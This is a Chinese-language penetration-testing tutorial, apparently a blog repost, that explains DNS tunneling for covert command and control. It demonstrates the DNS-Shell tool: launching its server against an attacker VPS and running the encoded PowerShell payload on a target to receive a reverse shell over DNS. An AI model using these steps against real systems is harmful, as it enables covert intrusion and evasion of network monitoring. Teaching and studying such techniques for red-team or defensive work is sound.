内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

admin 2020年12月5日19:51:53评论30 views字数 1963阅读6分32秒阅读模式

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术

使用DNS进行命令控制(DNS-Shell)

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

目录

DNS隧道

    利用DNS进行命令控制(DNS-Shell)

        DNS-Shell的使用


内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

DNS隧道

DNS协议是一种请求、应答协议,也是一种可用于应用层的隧道技术。DNS隧道的工作原理很简单,在进行DNS查询时,如果查询的域名不在DNS服务器本机缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交互。从DNS协议的角度来看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上返回的可以是任意的字符串,包括加密的C&C指令。

在使用DNS隧道与外部进行通信时,从表面上看是没有连接外网的(内网网关没有转发IP数据包)。但实际上,内网的DNS服务器进行了中转操作。这就是DNS隧道的工作原理,简单地说,就是将其他协议封装在DNS协议中进行传输。


内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

利用DNS进行命令控制(DNS-Shell)

DNS-Shell是一款通过DNS信道实现交互式Shell的强大工具,该工具的服务器端基于Python开发,可以任何一种安装了Python环境的操作系统平台上运行,工具所使用的Payload均已PowerShell命令进行编码,保证了在不同平台间运行的稳定性和兼容性。

DNS-Shell运行机制

该工具所使用的Payload会在服务器端脚本被调用时自动生成,Payload会使用nslookup来向服务器端查询和请求新的操作命令,接下来服务器端会监听端口53并等待传入的连接。当Payload在目标设备上成功执行后,服务器端将会生成一个交互式Shell并提供给用户进行操作。

通信信道建立成功后,Payload会继续向服务器查询和请求新的操作指令,当攻击者在服务器端输入新的操作命令后,Payload将会收到命令并执行该命令,然后在命令执行成功后将执行结果返回给服务器端。


内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

DNS-Shell的使用

DNS-Shell的运行相对来说比较简单,DNS-Shell支持两种操作模式,即 直接操作模式 和 递归模式:

下载DNS-Shell:

git clone https://github.com/sensepost/DNS-Shell.git


DNS-Shell直接模式:

python2 DNS-Shell.py -l -d VPS的IP


该命令会生成一段payload

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

我们将该payload复制,在目标机cmd窗口中执行 

powershell.exe -e 生成的payload

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

可以看到,我们已经成功接收到反弹回来的shell了

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

内网渗透(十九)| 内网转发及隐蔽隧道:使用ICMP进行命令控制(Icmpsh)

内网渗透(十八)| 工具的使用:MSF中获取用户密码

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

内网渗透(十六) | 域分析工具BloodHound的使用

内网渗透 | 红蓝对抗:Windows利用WinRM实现端口复用打造隐蔽后门

内网渗透(十五) | psexec工具使用浅析(admin$)

内网渗透(十四) | 工具的使用|Impacket的使用

内网渗透(十三) | WinRM远程管理工具的使用

内网渗透(十二) | 利用委派打造隐蔽后门(权限维持)

内网渗透(十一) | 哈希传递攻击(Pass-the-Hash,PtH)

技术干货 | 工具:Social engineering tookit 钓鱼网站

技术干货 | 工具的使用:CobaltStrike上线Linux主机(CrossC2)

内网渗透(十) | 票据传递攻击

内网渗透(九) | Windows域的管理

内网渗透(八) | 内网转发工具的使用

内网渗透 | 域内用户枚举和密码喷洒攻击(Password Spraying)

内网渗透(七) | 内网转发及隐蔽隧道:网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网渗透(六) | 工作组和域的区别

内网渗透(五) | AS-REP Roasting攻击

内网渗透 | 内网穿透工具FRP的使用
内网渗透(四) | 域渗透之Kerberoast攻击_Python
内网渗透(三) | 域渗透之SPN服务主体名称
内网渗透(二) | MSF和CobaltStrike联动
内网渗透 | 域内认证之Kerberos协议详解
内网渗透(一) | 搭建域环境


本文始发于微信公众号(安世加):内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月5日19:51:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)https://cn-sec.com/archives/196089.html

发表评论

匿名网友 填写信息